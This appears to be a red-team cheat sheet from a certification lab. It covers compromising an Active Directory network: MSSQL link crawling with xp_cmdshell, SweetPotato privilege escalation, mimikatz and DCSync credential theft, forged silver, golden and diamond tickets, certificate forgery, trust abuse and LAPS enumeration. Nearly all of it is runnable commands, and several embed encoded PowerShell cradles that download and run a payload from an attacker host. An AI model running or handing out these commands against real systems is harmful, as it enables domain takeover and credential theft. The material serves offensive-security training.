* beacon> powerpick Get-SQLServerLinkCrawl -Instance sql-2 -Query "EXEC xp\_cmdshell 'powershell.exe -nop -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4ANQA2AC4AMQAzADkAOgA4ADAALwBhACcAKQApAA=='" -QueryTarget eu-sql
* SQL> SELECT \* FROM OPENQUERY("sql-1.cyberbotic.io", 'select @@servername; exec xp\_cmdshell ''powershell -w hidden -enc aQBlAHgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBxAGwALQAyAC4AZABlAHYALgBjAHkAYgBlAHIAYgBvAHQAaQBjAC4AaQBvADoAOAAwADgAMAAvAHAAaQB2AG8AdAAyACIAKQA=''')
* MSSQL Server - Lateral Movement
* ## MSSQL Server - Lateral Movement
* # 1-a. Find the linked SQL Servers
* beacon> powerpick Get-SQLServerLinkCrawl -Instance "sql-2.dev.cyberbotic.io,1433"
* beacon> powerpick Get-SQLServerLinkCrawl -Instance "sql-2.dev.cyberbotic.io,1433" -Query "select @@version"
* # 1-b. Execute query on the linked server
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /auth:wintoken /host:sql-2.dev.cyberbotic.io /l:sql-1.cyberbotic.io /module:lquery /c:"select @@version"
* # 2. Check if xp\_cmdshell is already enabled
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /auth:wintoken /host:sql-2.dev.cyberbotic.io /l:sql-1.cyberbotic.io /module:lquery /c:"SELECT value FROM sys.configurations WHERE name = 'xp\_cmdshell'"
* # 3. Check if target SQLServer or its linked Server have syadmin access. (0 -> Not SysAdmin , 1-> Sysadmin)
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /auth:wintoken /host:sql-2.dev.cyberbotic.io /l:sql-1.cyberbotic.io /module:lwhoami
* beacon> powerpick Get-SQLServerLinkCrawl -Instance "sql-2.dev.cyberbotic.io,1433" -Query "SELECT SYSTEM\_USER; SELECT IS\_SRVROLEMEMBER('sysadmin');"
* SQL> SELECT SYSTEM\_USER;
* SQL> SELECT IS\_SRVROLEMEMBER('sysadmin');
* SQL> SELECT \* FROM OPENQUERY("sql-1.cyberbotic.io", 'select @@servername');
* SQL> SELECT \* FROM OPENQUERY("sql-1.cyberbotic.io", 'SELECT IS\_SRVROLEMEMBER(''sysadmin'');');
* beacon> powerpick Get-SQLServerLinkCrawl -Instance "sql-2.dev.cyberbotic.io,1433" -Query "SELECT SYSTEM\_USER; SELECT IS\_SRVROLEMEMBER('sysadmin');"
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /auth:wintoken /host:sql-2.dev.cyberbotic.io /module:info
* # Enumerate for What roles we do have.
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io,1433 /m:whoami
* # 4-a. If syadmin access is enabled then , We can just execute command by enabling the xp\_cmdshell, executing command and then disabling it.
* SQL> sp\_configure 'Show Advanced Options', 1; RECONFIGURE;
* SQL> sp\_configure 'xp\_cmdshell', 1; RECONFIGURE;
* SQL> EXEC('sp\_configure ''show advanced options'', 1; reconfigure;') AT [sql-1.cyberbotic.io]
* SQL> EXEC('sp\_configure ''xp\_cmdshell'', 1; reconfigure;') AT [sql-1.cyberbotic.io]
* beacon> powerpick Get-SQLServerLinkCrawl -Instance sql-2 -Query "sp\_configure 'Show Advanced Options', 1; RECONFIGURE;" -QueryTarget eu-sql
* beacon> powerpick Get-SQLServerLinkCrawl -Instance sql-2 -Query "sp\_configure 'xp\_cmdshell', 1; RECONFIGURE;" -QueryTarget eu-sql
* beacon> powerpick Get-SQLServerLinkCrawl -Instance sql-2 -Query 'exec master..xp\_cmdshell "whoami"' -QueryTarget eu-sql
* # 4-b. Check if we can impersonate any user, and then check if that user have sysadmin role.
* execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io /m:impersonate
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io /m:iwhoami /i:DEV\mssql\_svc
* #5. Now run powershell payload / execute cradle to get the beacon.
* # Follow point 6 of above Command Execution in MSSQL Notes.
* beacon> powerpick Get-SQLServerLinkCrawl -Instance sql-2 -Query "EXEC xp\_cmdshell 'powershell.exe -nop -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4ANQA2AC4AMQAzADkAOgA4ADAALwBhACcAKQApAA=='" -QueryTarget eu-sql
* SQL> SELECT \* FROM OPENQUERY("sql-1.cyberbotic.io", 'select @@servername; exec xp\_cmdshell ''powershell -w hidden -enc aQBlAHgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBxAGwALQAyAC4AZABlAHYALgBjAHkAYgBlAHIAYgBvAHQAaQBjAC4AaQBvADoAOAAwADgAMAAvAHAAaQB2AG8AdAAyACIAKQA=''')
* MSSQL Server - Privilege Escalation
* # MSSQL Server : Privilege Escalation - Service Account (SeImpersonate) to System
* # The built-in service account that runs the MSSQL DB Service has the SeImpersonate Privilege by Default. This privilege can potentially be exploited to gain local admin access (System) using the SweetPotato exploit.
* # After getting beacon to any initial or linked SQL Server , We can Priv Esc to that server.
* # 1. Use seatbelt utility to identify the privilege tokens available
* beacon> getuid
* beacon> shell whoami /priv
* beacon> execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe TokenPrivileges
* # 2. If seimpersonate privilege is found, we can use it to impersonate system account.
* beacon> execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe TokenPrivileges
* beacon> shell whoami /priv
* # 3. Use sweet potato exploit to get system shell
* # Encoded Powershell payload
* powershell.exe -nop -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4ANQA2AC4AMQAzADkAOgA4ADAALwBhACcAKQApAA==
* # execute sweet potato to get reverse shell/beacon as system user
* beacon> execute-assembly C:\Tools\SweetPotato\bin\Release\SweetPotato.exe -p C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -a "-nop -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4ANQA2AC4AMQAzADkAOgA4ADAALwBhACcAKQApAA=="
* beacon> connect localhost 4444

**Domain Dominance**

### Silver Ticket (offline)

# 1. Dump the machine hash using mimikatz (Service from 0 - hash)

beacon> mimikatz !sekurlsa::ekeys

beacon> mimikatz !sekurlsa::logonpasswords

# 2. Generate the silver Ticket TGS offline using Rubeus (use /rc4 flag for NTLM hash)

beacon> powershell-import c:\Tools\PowerSploit\Recon\PowerView.ps1

beacon> powerpick Get-DomainSID -Domain dev.cyberbotic.io

PS C:\Users\Attacker> C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe silver /service:cifs/wkstn-1.dev.cyberbotic.io /aes256:c9e598cd2a9b08fe31936f2c1846a8365d85147f75b8000cbc90e3c9de50fcc7 /user:nlamb /domain:dev.cyberbotic.io /sid:S-1-5-21-569305411-121244042-2357301523 /nowrap

# 3. Inject the ticket and Verify the access

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIFXD[...]MuaW8=

beacon> steal\_token 5668

beacon> ls \\wkstn-1.dev.cyberbotic.io\c$

beacon> jump psexec64 wkstn-1.dev.cyberbotic.io smb

# 4. Obtain more Service Tickets and inject (/ptt) into the sacrificial process

PS C:\Users\Attacker> C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe silver /service:HOST/wkstn-1.dev.cyberbotic.io /aes256:c9e598cd2a9b08fe31936f2c1846a8365d85147f75b8000cbc90e3c9de50fcc7 /user:nlamb /domain:dev.cyberbotic.io /sid:S-1-5-21-569305411-121244042-2357301523 /nowrap

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe ptt /ticket:<TGS-TICKET>

beacon> run klist

beacon> ls \\dc-2.dev.cyberbotic.io\c$

# 5. Different Services required for different uses. (For more - https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/silver-ticket#silver-ticket)

# psexec | CIFS

# winrm | HOST & HTTP

# wmi | HOST & RPCSS

# dcsync (DCs only) | LDAP

#-------------------------------------------------------------------------------------

### Golden Ticket (offline)

# 1. Fetch the NTLM/AES hash of krbtgt account

beacon> dcsync dev.cyberbotic.io DEV\krbtgt

# 2. Generate Golden ticket offline using Rubeus

# Find the domain SID

beacon> powerpick Get-DomainSid -Domain dev.cyberbotic.io

# Create Golden Ticket

beacon> powershell-import c:\Tools\PowerSploit\Recon\PowerView.ps1

beacon> powerpick Get-DomainSID -Domain dev.cyberbotic.io

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe golden /aes256:51d7f328ade26e9f785fd7eee191265ebc87c01a4790a7f38fb52e06563d4e7e /user:nlamb /domain:dev.cyberbotic.io /sid:S-1-5-21-569305411-121244042-2357301523 /nowrap

# 3. Inject golden ticket and gain access

# 3-a. For MACHINE TGT : Use Machine TGT fetched to gain RCE on itself using S4U abuse (/self flag)

# NOTE: A machine account TGT ticket if injected will not work probably, So we have to abuse S4U2SELF to obtain TGS and get access as Local Admin to that machine.

# Verify this by injecting the TGT insto a sacrificial process and try to access the files. Check S4U2Self Notes below.

# Generate TGS from TGT

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /impersonateuser:nlamb /self /altservice:cifs/dc-2.dev.cyberbotic.io /user:dc-2$ /nowrap /ticket:doIFuj[...]lDLklP

# Inject TGS in a sacrificial process

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIFyD[...]MuaW8=

beacon> steal\_token 2664

beacon> ls \\dc-2.dev.cyberbotic.io\c$

# 3-b. For DOMAIN USER TGT : Inject the ticket and access the service.

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIFyD[...]MuaW8=

beacon> steal\_token 2664

beacon> ls \\dc-2.dev.cyberbotic.io\c$

# --------------------------------------------------------------------------------------

### Diamond Ticket (online)

# 1. Fetch the SID of User/Machine for which we

beacon> powershell-import c:\Tools\PowerSploit\Recon\PowerView.ps1

beacon> powerpick ConvertTo-SID dev/nlamb

beacon> powershell-import c:\Tools\PowerSploit\Recon\PowerView.ps1

beacon> powerpick get-domaincomputer -identity dc-2 | select samaccountname,primarygroupid,objectsid

# 2. Create Diamond ticket (512 - Enterprise Group ID, krbkey - Hash of KRBRGT account)

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe diamond /tgtdeleg /ticketuser:nlamb /ticketuserid:1106 /groups:512 /krbkey:51d7f328ade26e9f785fd7eee191265ebc87c01a4790a7f38fb52e06563d4e7e /nowrap

# /tgtdeleg : uses the Kerberos GSS-API to obtain a useable TGT for the current user without needing to know their password, NTLM/AES hash, or elevation on the host.

# /ticketuser : is the username of the user to impersonate.

# /ticketuserid : is the domain RID of that user.

# /groups : are the desired group RIDs (512 being Domain Admins).

# /krbkey : is the krbtgt AES256 hash.

# 3. Rubeus describe will now show that this is a TGT for the target user.

PS C:\Users\Attacker> C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe describe /ticket:doIFYj[...snip...]MuSU8=

# 4. Inject Diamond ticket (TGT) and gain acess

# 3-a. For MACHINE TGT : Use Machine TGT fetched to gain RCE on itself using S4U abuse (/self flag)

# NOTE: A machine account TGT ticket if injected will not work probably, So we have to abuse S4U2SELF to obtain TGS and get access as Local Admin to that machine.

# Verify this by injecting the TGT insto a sacrificial process and try to access the files. Check S4U2Self Notes below.

# Generate TGS from TGT

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /impersonateuser:nlamb /self /altservice:cifs/dc-2.dev.cyberbotic.io /user:dc-2$ /nowrap /ticket:doIFuj[...]lDLklP

# Inject TGS in a sacrificial process

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIFyD[...]MuaW8=

beacon> steal\_token 2664

beacon> ls \\dc-2.dev.cyberbotic.io\c$

# 3-b. For DOMAIN USER TGT : Inject the ticket and access the service.

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIFyD[...]MuaW8=

beacon> steal\_token 2664

beacon> ls \\dc-2.dev.cyberbotic.io\c$

# ----------------------------------------------------------------------------------

### DPERSIST-1 : Forged certificates (DC or CA Server)

# 0. Finding Certificate Authorities

beacon> execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe cas

# 1. Dump the Private Key and Certificate of CA (run command in DC/CA)

beacon> execute-assembly C:\Tools\SharpDPAPI\SharpDPAPI\bin\Release\SharpDPAPI.exe certificates /machine

# 2. Save the certificate in .pem file and convert into pfx format using openssl

ubuntu@DESKTOP-3BSK7NO ~> openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

# 3. Next, use the stolen CA cert to generate fake cert for Domain user/Machine

PS C:\Users\Attacker> C:\Tools\ForgeCert\ForgeCert\bin\Release\ForgeCert.exe --CaCertPath .\Desktop\sub-ca.pfx --CaCertPassword pass123 --Subject "CN=User" --SubjectAltName "nlamb@cyberbotic.io" --NewCertPath .\Desktop\fake.pfx --NewCertPassword pass1231

# 4. Encode the certificate

ubuntu@DESKTOP-3BSK7NO ~> cat cert.pfx | base64 -w 0

# 5. Use the certificate to get TGT for Domain User/Machine or Domain Admin

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:nlamb /domain:dev.cyberbotic.io /enctype:aes256 /password:pass123 /nowrap /certificate:MIACAQ[...snip...]IEAAAA

# 6. Inject the ticket (TGT) and access the service

# 6-A. For MACHINE TGT : Use Machine TGT fetched to gain RCE on itself using S4U abuse (/self flag)

# NOTE: A machine account TGT ticket if injected will not work probably, So we have to abuse S4U2SELF to obtain TGS and get access as Local Admin to that machine.

# Verify this by injecting the TGT insto a sacrificial process and try to access the files. Check S4U2Self Notes below.

# Generate TGS from TGT

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /impersonateuser:nlamb /self /altservice:cifs/dc-2.dev.cyberbotic.io /user:dc-2$ /nowrap /ticket:doIFuj[...]lDLklP

# Inject TGS in a sacrificial process

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIFyD[...]MuaW8=

beacon> steal\_token 2664

beacon> ls \\dc-2.dev.cyberbotic.io\c$

# 6-B. For DOMAIN USER TGT : Inject the ticket and access the service.

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIFyD[...]MuaW8=

beacon> steal\_token 2664

beacon> ls \\dc-2.dev.cyberbotic.io\c$

**Forest & Domain Trusts**

* Cross Domain Attacks
* ## PrivEsc : Child (DEV.CYBERBOTIC.IO) to Parent (CYBERBOTIC.IO) within Same Domain via SID History using KrbTGT Hash of Child Domain. (Also possible using Trust Tickets)
* # 1. Get the KrbTGT hash, From DC by running Mimikatz or using DCSync Attack.
* beacon> mimikatz !lsadump::dcsync /user:dev\krbtgt
* beacon> dcsync dev.cyberbotic.io dev\krbtgt
* # 2. Enumerate the Domain Trusts (Use -Domain attribute to enumerate other domains)
* beacon> powershell-import c:\Tools\PowerSploit\Recon\PowerView.ps1
* beacon> powerpick Get-DomainTrust
* # 3. Enumerate basic info required for creating forged ticket
* # Find the SID of Domain Admin / Enterprise Admin group of parent domain
* beacon> powerpick Get-DomainGroup -Identity "Domain Admins" -Domain cyberbotic.io -Properties ObjectSid
* beacon> powerpick Get-DomainSID -Domain "dev.cyberbotic.io"
* # Domain controller of parent domain
* beacon> powerpick Get-DomainController -Domain cyberbotic.io | select Name
* # Domain Admin of parent domain
* beacon> powerpick Get-DomainGroupMember -Identity "Domain Admins" -Domain cyberbotic.io | select MemberName
* # 4-a. Use Golden Ticket technique (/sid - SID of the current domain & /sids - SID of Enterprise Admins or Parent Domain Admins & /aes256 - Krbtgt Hash)
* PS C:\Users\Attacker> C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe golden /aes256:51d7f328ade26e9f785fd7eee191265ebc87c01a4790a7f38fb52e06563d4e7e /user:Administrator /domain:dev.cyberbotic.io /sid:S-1-5-21-569305411-121244042-2357301523 /sids:S-1-5-21-2594061375-675613155-814674916-512 /nowrap
* # 4-b. Or, Use Diamond Ticket technique
* beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:519 /sids:S-1-5-21-2594061375-675613155-814674916-519 /krbkey:51d7f328ade26e9f785fd7eee191265ebc87c01a4790a7f38fb52e06563d4e7e /nowrap
* # 5. Inject the ticket
* beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIFLz[...snip...]MuaW8=
* beacon> steal\_token 5060
* beacon> run klist
* beacon> ls \\dc-1.cyberbotic.io\c$
* beacon> jump psexec64 dc-1.cyberbotic.io smb
* beacon> dcsync cyberbotic.io cyber\krbtgt
* beacon> mimikatz !lsadump::dcsync /all /domain:cyberbotic.io
* Cross Forest Attacks (Inbound / Outbound)
* ## Exploiting Inbound Trusts (Users in our domain can access resources in foreign domain)
* # 1. We can enumerate the foreign domain with inbound trust
* beacon> powershell-import c:\Tools\PowerSploit\Recon\PowerView.ps1
* beacon> powerpick Get-DomainTrust
* beacon> powerpick Get-DomainComputer -Domain dev-studio.com -Properties DnsHostName
* # 2. Check if members in current domain are part of any group in foreign domain
* # Enumerate any groups that contain users outside of its domain
* beacon> powerpick Get-DomainForeignGroupMember -Domain dev-studio.com
* beacon> powerpick Find-ForeignGroup -Domain dev-studio.com
* beacon> powerpick Find-ForeignUser -Domain dev-studio.com
* # Verify the username from SID returned in previous step
* beacon> powerpick ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1120
* beacon> powerpick Get-DomainGroupMember -Identity "Studio Admins" | select MemberName
* beacon> powerpick Get-DomainController -Domain dev-studio.com | select Name
* # 3. Fetch the AES256 hash of Domain user , who have the access or part of the group in foreign domain.
* beacon> dcsync dev.cyberbotic.io dev\nlamb
* beacon> mimikatz !lsadump::dcsync dev\nlamb /domain:dev.cyberbotic.io
* # 4. We can create Inter-Realm TGT for user identified in above steps (/aes256 has users hash)
* # Getting TGT using hash
* beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:nlamb /domain:dev.cyberbotic.io /aes256:a779fa8afa28d66d155d9d7c14d394359c5d29a86b6417cb94269e2e84c4cee4 /nowrap
* # Getting Inter-Realm TGT for target domain from current domain TGT.
* beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgs /service:krbtgt/dev-studio.com /domain:dev.cyberbotic.io /dc:dc-2.dev.cyberbotic.io /nowrap /ticket:doIFwj[...]MuaW8=
* # Getting TGS from inter-realm TGT for Target Domain
* beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgs /service:cifs/dc.dev-studio.com /domain:dev-studio.com /dc:dc.dev-studio.com /nowrap /ticket:doIFoz[...]NPTQ==
* # 4. Inject the ticket
* beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:dc-studio.com /username:Administrator /password:FakePass /ticket:doIFLz[...snip...]MuaW8=
* beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe ptt /ticket:doIFLz[...snip...]MuaW8=
* beacon> steal\_token 5060
* beacon> run klist
* beacon> ls \\dc.dev-studio.com\c$
* # ---------------------------------------------------------------------------------
* ## Exploiting Outbound Trusts (Users in other domain can access resources in our domain)
* # 1. Enumerate the outbound trust (msp.com) in parent domain (cyberbotic.io)
* beacon> powershell-import c:\Tools\PowerSploit\Recon\PowerView.ps1
* beacon> powerpick Get-DomainTrust -Domain cyberbotic.io
* # 2. Enumerate the TDO to fetch the shared trust key
* beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(objectCategory=trustedDomain)" --domain cyberbotic.io --attributes distinguishedName,name,flatName,trustDirection
* # 3-a. # Dump the TDO Object from DC (parent) directly - (Not OPSEC Safe)
* beacon> run hostname
* beacon> mimikatz lsadump::trust /patch
* # 3-b. OR, Use DCSync to get the ntlm hash of TDO object remotely
* beacon> powerpick Get-DomainObject -Identity "CN=msp.org,CN=System,DC=cyberbotic,DC=io" | select objectGuid
* beacon> mimikatz @lsadump::dcsync /domain:cyberbotic.io /guid:{b93d2e36-48df-46bf-89d5-2fc22c139b43}
* # 4. There is a "trust account" which gets created in trusted domain (msp.com) by the name of trusting domain (CYBER$), it can be impersonated to gain normal user access (/rc4 is the NTLM hash of TDO Object)
* # Get all the user accounts in the DEV domain, we'll see CYBER$ and STUDIO$, which are the trust accounts for those respective domain trusts.
* beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(objectCategory=user)"
* # 5. Outbound Domain (MSP domain) will have a trust account (CYBER$), even though we can't enumerate across the trust to confirm it. This is the account we must impersonate to request Kerberos tickets across the trust.
* # A user can create Multiple computer objects and later can Abuse them, We have user access in this case, So find some way to abuse it.
* beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:CYBER$ /domain:msp.org /rc4:8c0124e706679550bf14182477f7a8dc /nowrap
* # 6. Inject the ticket
* beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:MSP /username:CYBER$ /password:FakePass /ticket:doIFLz[...snip...]MuaW8=
* beacon> steal\_token 5060
* beacon> run klist
* # 7. We can now use the normal user session, to enumerate the domain. OR We can create Multiple computer objects and later can Abuse them, We have user access in this case, So find some way to abuse it.
* beacon> powerpick Get-Domain -Domain msp.org
* beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(objectCategory=user)" --domain msp.org
* # Create a Computer Object to abuse it
* beacon> powershell-import c:\Tools\PowerSploit\Recon\PowerView.ps1
* beacon> powerpick Get-DomainObject -Identity "DC=dev,DC=cyberbotic,DC=io" -Properties ms-DS-MachineAccountQuota
* # If You wants to create a new computer object for a different Forest using StandIn Tool, Then Read this blog by Rasta - https://rastamouse.me/getdomain-vs-getcomputerdomain-vs-getcurrentdomain/
* # Note: StandIn code needs to be modified if you wants to create a Computer in another Domain using --Domain parameter. (https://github.com/FuzzySecurity/StandIn/pull/17)
* beacon> execute-assembly C:\Tools\StandIn\StandIn\StandIn\bin\Release\StandIn.exe --computer EvilComputer --make --Domain dev.cyberbotic.io
* PS> C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe hash /password:oIrpupAtF1YCXaw /user:EvilComputer$ /domain:dev.cyberbotic.io
* beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:EvilComputer$ /aes256:7A79DCC14E6508DA9536CD949D857B54AE4E119162A865C40B3FFD46059F7044 /nowrap
* # 8. Perform Few enumerations to get access to the forest.
* # Kerberoasting / ASRepRoasting / Set SPN
* beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=user)(servicePrincipalName=\*))" --attributes cn,servicePrincipalName,samAccountName --domain msp.org
* beacon> powerpick Get-DomainUser -SPN -Domain msp.org
* beacon> powerpick Get-DomainUser -PreauthNotRequired -Verbose -Domain msp.org
* beacon> powerpick Find-InterestingDomainAcl -ResolveGUIDs -Domain msp.org | ?{$\_.IdentityReferenceName -match "CYBER$"}
* # Unconstrained Delegation
* beacon> powerpick Get-DomainComputer -UnConstrained -Domain msp.org
* beacon> powerpick Get-DomainComputer -UnConstrained -Domain msp.org
* beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(ObjectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes cn,dnshostname --domain msp.org
* beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(ObjectCategory=User)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes cn,dnshostname --domain msp.org
* # Constrained Delegation
* beacon> powerpick Get-DomainUser -TrustedToAuth -Domain msp.org
* beacon> powerpick Get-DomainComputer -TrustedToAuth -Domain msp.org
* beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=\*))" --attributes dnshostname,samaccountname,msds-allowedtodelegateto --json --domain msp.org
* # Vulnerable Certificate Templates
* beacon> execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe find /vulnerable /domain:msp.org
* beacon> execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe find /enrolleeSuppliesSubject /domain:msp.org
* beacon> execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe request /ca:ad.msp.org\root-ca /template:MSPUserTemplate /altname:Administrator /domain:msp.org
* # Certify doesn't work well across outbound trust, So to abuse such attack scenario either we have to modify the Certify or we can use native certreq tool (https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certreq\_1).
* # For OutBound Forests the Certify fails , So we have to modify it. Or for manually performing this attack using certreq follow belo links.
* - For help check this
* [https://github.com/GhostPack/Certify/issues/13#issuecomment-1716046133](https://github.com/GhostPack/Certify/issues/13#issuecomment-1716046133)

**LAPS**

## Abusing LAPS (Local Administrator Password Solution)

# 1. Enumerate for presence of LAPS and GPO Policy implementing the Laps.

# 1.1 Check if, LAPS client is installed on local machine

beacon> ls C:\Program Files\LAPS\CSE

# 1.2 Check for, Computer Object having ms-Mcs-AdmPwdExpirationTime attribute is set to Not Null.

beacon> powershell-import c:\Tools\PowerSploit\Recon\PowerView.ps1

beacon> powerpick Get-DomainComputer | ? { $\_."ms-Mcs-AdmPwdExpirationTime" -ne $null } | select dnsHostName

# 2. Enumerate GPO which are used to deploy LAPS configurations

# 2.1 Check for GPOs that have "LAPS" or some other descriptive term in the name.

beacon> powerpick Get-DomainGPO | ? { $\_.DisplayName -like "\*laps\*" } | select DisplayName, Name, GPCFileSysPath | fl

# 2.2 Download LAPS configuration (Using name or cn attribute values from Laps GPO)

beacon> ls \\dev.cyberbotic.io\SysVol\dev.cyberbotic.io\Policies\{2BE4337D-D231-4D23-A029-7B999885E659}\Machine

beacon> download \\dev.cyberbotic.io\SysVol\dev.cyberbotic.io\Policies\{2BE4337D-D231-4D23-A029-7B999885E659}\Machine\Registry.pol

# 2.3 Parse the LAPS GPO Policy file downloaded in previous step

PS C:\Users\Attacker> Parse-PolFile .\Desktop\Registry.pol

# 3. Finding Principals which can read the LAPS Passwords or ms-Mcs-AdmPwd Attribute.

# 3.1 Search DACL of each computer to find the read rights

beacon> powerpick Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $\_.ObjectAceType -eq "ms-Mcs-AdmPwd" -and $\_.ActiveDirectoryRights -match "ReadProperty" } | select ObjectDn, SecurityIdentifier | fl

beacon> powerpick ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1107

beacon> powershell-import c:\Tools\PowerSploit\Recon\PowerView.ps1

